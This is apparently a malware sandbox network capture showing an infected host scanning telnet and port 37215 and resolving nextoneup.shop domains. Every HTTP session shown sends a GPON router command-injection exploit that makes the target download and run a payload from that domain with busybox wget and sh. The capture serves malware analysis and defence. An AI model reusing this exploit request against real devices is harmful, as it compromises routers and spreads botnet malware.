Apr 14, 2024 03:59:53.109399080 CEST	443	2135	117.237.91.58	192.168.2.23
Apr 14, 2024 03:59:53.109641075 CEST	2135	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.109659910 CEST	2135	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.109749079 CEST	2135	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.109750986 CEST	40740	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.109759092 CEST	443	40740	79.10.245.21	192.168.2.23
Apr 14, 2024 03:59:53.109786987 CEST	45718	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.109793901 CEST	443	45718	5.183.24.144	192.168.2.23
Apr 14, 2024 03:59:53.109819889 CEST	40740	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.109842062 CEST	57992	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.109844923 CEST	45718	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.109848976 CEST	443	57992	117.237.91.58	192.168.2.23
Apr 14, 2024 03:59:53.109848976 CEST	40448	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:53.109864950 CEST	443	40448	2.93.137.77	192.168.2.23
Apr 14, 2024 03:59:53.109889984 CEST	40448	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:53.109914064 CEST	443	40448	2.93.137.77	192.168.2.23
Apr 14, 2024 03:59:53.109921932 CEST	57766	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:53.109930992 CEST	443	57766	2.141.207.60	192.168.2.23
Apr 14, 2024 03:59:53.109946966 CEST	57992	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.109966993 CEST	57766	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:53.109968901 CEST	443	57766	2.141.207.60	192.168.2.23
Apr 14, 2024 03:59:53.109973907 CEST	443	57766	2.141.207.60	192.168.2.23
Apr 14, 2024 03:59:53.110002995 CEST	40740	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.110017061 CEST	443	40740	79.10.245.21	192.168.2.23
Apr 14, 2024 03:59:53.110038996 CEST	443	40740	79.10.245.21	192.168.2.23
Apr 14, 2024 03:59:53.110058069 CEST	40740	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.110058069 CEST	45718	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.110070944 CEST	443	40740	79.10.245.21	192.168.2.23
Apr 14, 2024 03:59:53.110080004 CEST	443	45718	5.183.24.144	192.168.2.23
Apr 14, 2024 03:59:53.110097885 CEST	45718	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.110099077 CEST	443	45718	5.183.24.144	192.168.2.23
Apr 14, 2024 03:59:53.110104084 CEST	443	45718	5.183.24.144	192.168.2.23
Apr 14, 2024 03:59:53.110203028 CEST	57992	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.110203028 CEST	57992	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.110214949 CEST	443	57992	117.237.91.58	192.168.2.23
Apr 14, 2024 03:59:53.110236883 CEST	443	57992	117.237.91.58	192.168.2.23
Apr 14, 2024 03:59:53.178935051 CEST	59666	44450	37.44.238.94	192.168.2.23
Apr 14, 2024 03:59:53.283020020 CEST	23	4951	184.95.89.146	192.168.2.23
Apr 14, 2024 03:59:53.283202887 CEST	4951	23	192.168.2.23	184.95.89.146
Apr 14, 2024 03:59:53.372189045 CEST	23	4951	153.234.134.74	192.168.2.23
Apr 14, 2024 03:59:53.376940012 CEST	23	4951	47.242.14.25	192.168.2.23
Apr 14, 2024 03:59:53.378264904 CEST	23	4951	60.145.4.168	192.168.2.23
Apr 14, 2024 03:59:53.383980036 CEST	23	4951	126.89.213.249	192.168.2.23
Apr 14, 2024 03:59:53.409463882 CEST	37215	5975	41.180.154.119	192.168.2.23
Apr 14, 2024 03:59:53.410990000 CEST	37215	5975	197.146.2.160	192.168.2.23
Apr 14, 2024 03:59:53.432394981 CEST	37215	5975	41.214.102.217	192.168.2.23
Apr 14, 2024 03:59:53.442918062 CEST	23	4951	197.4.61.234	192.168.2.23
Apr 14, 2024 03:59:53.503235102 CEST	80	5463	47.109.133.217	192.168.2.23
Apr 14, 2024 03:59:53.503526926 CEST	5463	80	192.168.2.23	47.109.133.217
Apr 14, 2024 03:59:53.530951977 CEST	37215	5975	156.155.162.17	192.168.2.23
Apr 14, 2024 03:59:54.051428080 CEST	4951	23	192.168.2.23	121.242.87.211
Apr 14, 2024 03:59:54.051486969 CEST	4951	23	192.168.2.23	149.119.34.18
Apr 14, 2024 03:59:54.051505089 CEST	4951	23	192.168.2.23	51.54.149.232
Apr 14, 2024 03:59:54.051531076 CEST	4951	23	192.168.2.23	147.170.255.205
Apr 14, 2024 03:59:54.051536083 CEST	4951	23	192.168.2.23	154.241.62.190
Apr 14, 2024 03:59:54.051531076 CEST	4951	23	192.168.2.23	146.118.154.195
Apr 14, 2024 03:59:54.051541090 CEST	4951	23	192.168.2.23	118.31.47.80
Apr 14, 2024 03:59:54.051543951 CEST	4951	23	192.168.2.23	184.110.113.62
Apr 14, 2024 03:59:54.051547050 CEST	4951	23	192.168.2.23	162.232.53.77
Apr 14, 2024 03:59:54.051544905 CEST	4951	23	192.168.2.23	184.56.231.23
Apr 14, 2024 03:59:54.051547050 CEST	4951	23	192.168.2.23	195.118.21.188
Apr 14, 2024 03:59:54.051546097 CEST	4951	23	192.168.2.23	136.106.212.11
Apr 14, 2024 03:59:54.051573038 CEST	4951	23	192.168.2.23	128.192.120.31
Apr 14, 2024 03:59:54.051573038 CEST	4951	23	192.168.2.23	13.7.138.242
Apr 14, 2024 03:59:54.051573038 CEST	4951	23	192.168.2.23	184.31.110.252
Apr 14, 2024 03:59:54.051589966 CEST	4951	23	192.168.2.23	154.84.187.184
Apr 14, 2024 03:59:54.051592112 CEST	4951	23	192.168.2.23	120.81.90.202
Apr 14, 2024 03:59:54.051592112 CEST	4951	23	192.168.2.23	120.127.245.174
Apr 14, 2024 03:59:54.051592112 CEST	4951	23	192.168.2.23	81.192.189.216
Apr 14, 2024 03:59:54.051592112 CEST	4951	23	192.168.2.23	201.221.43.44
Apr 14, 2024 03:59:54.051599026 CEST	4951	23	192.168.2.23	75.170.43.116
Apr 14, 2024 03:59:54.051599026 CEST	4951	23	192.168.2.23	41.129.27.59
Apr 14, 2024 03:59:54.051604986 CEST	4951	23	192.168.2.23	202.73.219.82
Apr 14, 2024 03:59:54.051606894 CEST	4951	23	192.168.2.23	42.92.137.124
Apr 14, 2024 03:59:54.051619053 CEST	4951	23	192.168.2.23	170.57.40.162
Apr 14, 2024 03:59:54.051620007 CEST	4951	23	192.168.2.23	159.117.170.235
Apr 14, 2024 03:59:54.051621914 CEST	4951	23	192.168.2.23	66.166.139.18
Apr 14, 2024 03:59:54.051624060 CEST	4951	23	192.168.2.23	138.194.78.160
Apr 14, 2024 03:59:54.051635981 CEST	4951	23	192.168.2.23	117.9.12.30
Apr 14, 2024 03:59:54.051636934 CEST	4951	23	192.168.2.23	180.73.252.225
Apr 14, 2024 03:59:54.051637888 CEST	4951	23	192.168.2.23	124.199.59.94
Apr 14, 2024 03:59:54.051640034 CEST	4951	23	192.168.2.23	91.101.6.201
Apr 14, 2024 03:59:54.051640034 CEST	4951	23	192.168.2.23	23.215.85.46
Apr 14, 2024 03:59:54.051649094 CEST	4951	23	192.168.2.23	169.22.89.96
Apr 14, 2024 03:59:54.051657915 CEST	4951	23	192.168.2.23	170.22.149.179
Apr 14, 2024 03:59:54.051660061 CEST	4951	23	192.168.2.23	36.121.84.142
Apr 14, 2024 03:59:54.051670074 CEST	4951	23	192.168.2.23	156.56.119.116
Apr 14, 2024 03:59:54.051670074 CEST	4951	23	192.168.2.23	40.68.204.223
Apr 14, 2024 03:59:54.051676989 CEST	4951	23	192.168.2.23	213.101.111.31
Apr 14, 2024 03:59:54.051676989 CEST	4951	23	192.168.2.23	137.113.224.174
Apr 14, 2024 03:59:54.051676989 CEST	4951	23	192.168.2.23	170.171.214.184
Apr 14, 2024 03:59:54.051678896 CEST	4951	23	192.168.2.23	176.23.30.134
Apr 14, 2024 03:59:54.051678896 CEST	4951	23	192.168.2.23	209.4.56.188
Apr 14, 2024 03:59:54.051692963 CEST	4951	23	192.168.2.23	141.223.117.21
Apr 14, 2024 03:59:54.051701069 CEST	4951	23	192.168.2.23	47.197.91.125
Apr 14, 2024 03:59:54.051701069 CEST	4951	23	192.168.2.23	183.42.198.212
Apr 14, 2024 03:59:54.051702023 CEST	4951	23	192.168.2.23	76.39.92.202
Apr 14, 2024 03:59:54.051702023 CEST	4951	23	192.168.2.23	45.70.151.150
Apr 14, 2024 03:59:54.051702976 CEST	4951	23	192.168.2.23	4.224.17.188
Apr 14, 2024 03:59:54.051712990 CEST	4951	23	192.168.2.23	187.198.245.247
Apr 14, 2024 03:59:54.051716089 CEST	4951	23	192.168.2.23	115.4.198.14
Apr 14, 2024 03:59:54.051724911 CEST	4951	23	192.168.2.23	186.255.153.221
Apr 14, 2024 03:59:54.051731110 CEST	4951	23	192.168.2.23	25.141.222.197
Apr 14, 2024 03:59:54.051733971 CEST	4951	23	192.168.2.23	220.135.166.153
Apr 14, 2024 03:59:54.051733971 CEST	4951	23	192.168.2.23	147.33.82.213
Apr 14, 2024 03:59:54.051737070 CEST	4951	23	192.168.2.23	12.211.129.101
Apr 14, 2024 03:59:54.051744938 CEST	4951	23	192.168.2.23	163.128.189.84
Apr 14, 2024 03:59:54.051749945 CEST	4951	23	192.168.2.23	184.48.75.43
Apr 14, 2024 03:59:54.051762104 CEST	4951	23	192.168.2.23	76.226.216.31
Apr 14, 2024 03:59:54.051762104 CEST	4951	23	192.168.2.23	149.148.201.26
Apr 14, 2024 03:59:54.051774979 CEST	4951	23	192.168.2.23	47.11.204.130
Apr 14, 2024 03:59:54.051775932 CEST	4951	23	192.168.2.23	172.50.124.17
Apr 14, 2024 03:59:54.051780939 CEST	4951	23	192.168.2.23	187.174.146.157
Apr 14, 2024 03:59:54.051798105 CEST	4951	23	192.168.2.23	176.180.34.138
Apr 14, 2024 03:59:54.051798105 CEST	4951	23	192.168.2.23	72.109.69.215
Apr 14, 2024 03:59:54.051798105 CEST	4951	23	192.168.2.23	87.133.105.195
Apr 14, 2024 03:59:54.051803112 CEST	4951	23	192.168.2.23	147.90.254.183
Apr 14, 2024 03:59:54.051803112 CEST	4951	23	192.168.2.23	39.43.4.253
Apr 14, 2024 03:59:54.051810980 CEST	4951	23	192.168.2.23	52.139.58.107
Apr 14, 2024 03:59:54.051810980 CEST	4951	23	192.168.2.23	108.1.134.167
Apr 14, 2024 03:59:54.051812887 CEST	4951	23	192.168.2.23	185.163.235.189
Apr 14, 2024 03:59:54.051816940 CEST	4951	23	192.168.2.23	180.173.176.171
Apr 14, 2024 03:59:54.051816940 CEST	4951	23	192.168.2.23	211.165.111.218
Apr 14, 2024 03:59:54.051821947 CEST	4951	23	192.168.2.23	221.198.80.43
Apr 14, 2024 03:59:54.051821947 CEST	4951	23	192.168.2.23	2.101.241.199
Apr 14, 2024 03:59:54.051822901 CEST	4951	23	192.168.2.23	39.74.11.106
Apr 14, 2024 03:59:54.051821947 CEST	4951	23	192.168.2.23	53.86.163.94
Apr 14, 2024 03:59:54.051826000 CEST	4951	23	192.168.2.23	94.193.219.92
Apr 14, 2024 03:59:54.051826000 CEST	4951	23	192.168.2.23	137.101.146.246
Apr 14, 2024 03:59:54.051826000 CEST	4951	23	192.168.2.23	116.0.76.191
Apr 14, 2024 03:59:54.051826000 CEST	4951	23	192.168.2.23	171.168.224.239
Apr 14, 2024 03:59:54.051829100 CEST	4951	23	192.168.2.23	201.125.117.162
Apr 14, 2024 03:59:54.051829100 CEST	4951	23	192.168.2.23	48.218.65.22
Apr 14, 2024 03:59:54.051829100 CEST	4951	23	192.168.2.23	200.230.84.0
Apr 14, 2024 03:59:54.051836014 CEST	4951	23	192.168.2.23	186.206.146.98

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 14, 2024 03:59:52.051064968 CEST	192.168.2.23	8.8.8.8	0x589e	Standard query (0)	rsx.nextoneup.shop	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.479033947 CEST	192.168.2.23	8.8.8.8	0x56ce	Standard query (0)	rep.nextoneup.shop	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.650358915 CEST	192.168.2.23	8.8.8.8	0x56ce	Standard query (0)	rep.nextoneup.shop	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.819986105 CEST	192.168.2.23	8.8.8.8	0x56ce	Standard query (0)	rep.nextoneup.shop	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.987622023 CEST	192.168.2.23	8.8.8.8	0x56ce	Standard query (0)	rep.nextoneup.shop	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:40.158859015 CEST	192.168.2.23	8.8.8.8	0x56ce	Standard query (0)	rep.nextoneup.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 14, 2024 03:59:52.225970030 CEST	8.8.8.8	192.168.2.23	0x589e	No error (0)	rsx.nextoneup.shop		37.44.238.94	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.649790049 CEST	8.8.8.8	192.168.2.23	0x56ce	Name error (3)	rep.nextoneup.shop	none	none	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.819879055 CEST	8.8.8.8	192.168.2.23	0x56ce	Name error (3)	rep.nextoneup.shop	none	none	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:39.987441063 CEST	8.8.8.8	192.168.2.23	0x56ce	Name error (3)	rep.nextoneup.shop	none	none	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:40.158755064 CEST	8.8.8.8	192.168.2.23	0x56ce	Name error (3)	rep.nextoneup.shop	none	none	A (IP address)	IN (0x0001)	false
Apr 14, 2024 04:01:40.330018997 CEST	8.8.8.8	192.168.2.23	0x56ce	Name error (3)	rep.nextoneup.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	58904	117.152.5.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.102741003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	44104	109.196.244.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.102869987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	56426	148.57.187.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.102889061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	51764	37.149.242.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104254961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	46122	94.190.168.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104315996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	42680	212.253.210.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104372025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	52212	210.237.21.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104441881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	52160	118.172.41.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104459047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	59856	2.147.10.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104553938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	49272	212.159.156.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104612112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	56506	94.21.126.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104640007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	57766	42.45.213.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104715109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	43822	202.72.202.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104744911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	41838	178.120.28.99	443

Timestamp	Bytes transferred	Direction	Data
